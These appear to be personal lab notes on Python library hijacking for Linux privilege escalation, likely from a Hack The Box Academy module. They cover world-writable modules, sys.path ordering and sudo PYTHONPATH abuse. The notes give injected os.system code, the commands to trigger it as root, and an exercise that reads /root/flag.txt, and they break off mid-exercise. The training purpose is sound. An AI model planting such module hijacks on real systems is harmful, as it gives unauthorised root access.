# Intro
- Many libraries are used in Python and are used in many different fields
- One example is [NumPy](https://numpy.org/doc/stable/), which is an open-source module for Python that provides precompiled functions for numerical analysis
- Another example is [Pandas](https://pandas.pydata.org/docs/), which is a library for data processing and data analysis with Python that extends Python with data structures and functions for processing data table
- Python can import modules easily as shown below
```python
#!/usr/bin/env python3
# Method 1
import pandas
# Method 2
from pandas import *
# Method 3
from pandas import Series
```
# Python Library Hijacking
- Multiple ways to hijack a Python library
- Feasible hijacking avenues depend on the script and its contents itself
- Three (3) basic vulns where hijacking can be used:
1. Wrong write permissions
2. Library Path
3. PYTHONPATH environment variable
---
## Wrong Write Perms
- Python modules may have write permissions set for all users by mistake
- This allows the python module to be edited and manipulated so that we can insert commands or functions that will produce the results we want
- If `SUID`/`SGID` permissions have been assigned to the Python script that imports this module, our code will automatically be include
- Example script is `mem_status.py` shown below
```python
#!/usr/bin/env python3
import psutil
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")
```
- This script is quite simple and only shows the available virtual memory in percentage format
- We see in the second line that this script imports the module `psutil` and uses the `psutil` function `virtual_memory()`
- Let's look for this function in the `psutil` python folder
```bash
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
```
- As shown above, `.../psutil/__init__.py` is world writeable
- Now let's open the module file and insert a command to test for hijacking
```python
...SNIP...
def virtual_memory():
...SNIP...
#### Hijacking
import os
os.system('id')
global _TOTAL_PHYMEM
ret = _psplatform.virtual_memory()
# cached for later use in Process.memory_percent()
_TOTAL_PHYMEM = ret.total
return ret
...SNIP...
```
- Now run the script with `sudo` to see if we get the output from the inserted `id` command > looks successful
```bash
sudo /usr/bin/python3 ./mem_status.py
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%
```
---
## Library Path
- Each version of Python has a specified order in which libraries (i.e., `modules`) are searched and imported
- The order in which Python imports `modules` from are based on a priority system, meaning that paths higher on the list take priority over ones lower on the list
- We can see this by issuing the following PYTHONPATH listing command:
```bash
python3 -c 'import sys; print("\n".join(sys.path))'
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages
```
- To this end, if the imported module is located in a path lower on the list and a higher priority path is editable by our user, we can create a module ourselves with the same name and include our own desired functions
- Since the higher priority path is read earlier and examined for the module in question, Python accesses the first hit it finds and imports it before reaching the original and intended module
## `psutil` default install locs
- As shown above, the `psutil` module was imported into the `mem_status.py` script
- Issue the below command to see `psutil`'s default installation location
```bash
pip3 show psutil
...SNIP...
Location: /usr/local/lib/python3.8/dist-packages
...SNIP...
```
- We can see that `psutil` is installed in `/usr/local/lib/python3.8/dist-packages`
- From the above listing of the `PYTHONPATH` variable, we have a reasonable amount of directories to choose from to see if there might be any misconfigs in the environment to allow us `write` access to any of them. Let us check
### Enumerating misconfigured dir perms
- As shown below, `/usr/lib/python3.8` is world writable and higher priority than `/usr/local/lib/python3.8/dist-packages`
- We can use this as a library hijacking point
```shell-session
ls -la /usr/lib/python3.8
total 4916
drwxr-xrwx 30 root root 20480 Dec 14 16:26 .
...SNIP...
```
### Exploiting the misconfig
- Now, let's exploit this misconfig by creatring our own `psutil.py` module within the `/usr/lib/python3.8` directory as shown below
- This script contains a malicious `virtual_memory()` function
```python
#!/usr/bin/env python3
import os
def virtual_memory():
os.system('id')
```
- NOTE: Make sure that the module we create has the same name as the import as well as have the same function with the correct number of arguments passed to it as the function we are intending to hijack
- This is critical as without either of these conditions being `true`, we will not be able perform this attack
- Now run the `mem_status.py` script using `sudo` like in the previous example
- We should get the output of the `id` command if it works
```bash
sudo /usr/bin/python3 mem_status.py
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
File "mem_status.py", line 4, in <module>
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available'
```
---
## PYTHONPATH Env var
- `PYTHONPATH` is an env var that indicates what directory (or directories) Python can search for modules to import
- This is important because if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python's search functionality to a `user-defined` location when it comes time to import modules
### Enumerate appropriate perms
- Enumerate for perms to set env vars for the python binary by checking our `sudo` permissions
```bash
sudo -l
Matching Defaults entries for htb-student on ACADEMY-LPENIX:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User htb-student may run the following commands on ACADEMY-LPENIX:
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
```
- As shown above, we are allowed to run `/usr/bin/python3` with `sudo`
- Therefore we can set env vars for use with this binary by the `SETENV:` flag being set
- It is important to note, that due to the trusted nature of `sudo`, any environment variables defined prior to calling the binary are not subject to any restrictions regarding being able to set environment variables on the system
- This means that using the `/usr/bin/python3` binary, we can effectively set any environment variables under the context of our running program
## PYTHONPATH Abuse
- First, move the previously prepare malicious `psutil.py` script from the `/usr/lib/python3.8` to `/tmp`
- Now, call `/usr/bin/python3` to run `mem_stats.py`, however, we specify that the `PYTHONPATH` variable contain the `/tmp` directory so that it forces Python to search that directory looking for the `psutil` module to import
```bash
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py
uid=0(root) gid=0(root) groups=0(root)
...SNIP...
```
---
# Exercise
# Initial Enum
- `ping` test ![[images/Pasted image 20260213185926.png]]
- `nmap` scans ![[images/Pasted image 20260213190121.png]]
- `ssh` into target with given creds
- light internal enum ![[images/Pasted image 20260213190021.png]]
- note `sudo` privs over `/usr/bin/python3` and `mem_status.py`
# Misconfigured Write Perms
- SUID bit set for `mem_status.py` ![[images/Pasted image 20260213190204.png]]
- view the script ![[images/Pasted image 20260213190227.png]]
- this script imports the `psutil` module and calls the associated `virtual_memory` function
- determine perms for the `psutil` module ![[images/Pasted image 20260213190456.png]]
- `psutil` module is owned by `htb-student`
- Modify `__init__.py` to run the `id` command as a test ![[images/Pasted image 20260213192915.png]]
- Run `mem_status.py` >working! ![[images/Pasted image 20260213192855.png]]
- Now modify the above to `cat /root/flag.txt` ![[images/Pasted image 20260213192652.png]]
# Library Path
- List the priority in which python3 searches for modules ![[images/Pasted image 20260213190742.png]]
- Default `psutil` install loc ![[images/Pasted image 20260213190819.png]]
- Because `/usr/lib/python3.8` is a higher priority than the default install locale for `psutil`, we may be able to place a malicious `psutil` in `/usr/lib/python3.8` to privesc
- However, it looks like we do not have write capabilities within the `/usr/lib/python3.8` dir so this exploit path also is not viable ![[images/Pasted image 20260213191148.png]]![[images/Pasted image 20260213191202.png]]
# PYTHONPATH Env Var
- While we have `sudo` privs over the `/usr/bin/python3` dir, we do not have `setenv` privs ![[images/Pasted image 20260213192002.png]]
- Create malicious `psutil.py` ![[images/Pasted image 20260213191419.png]]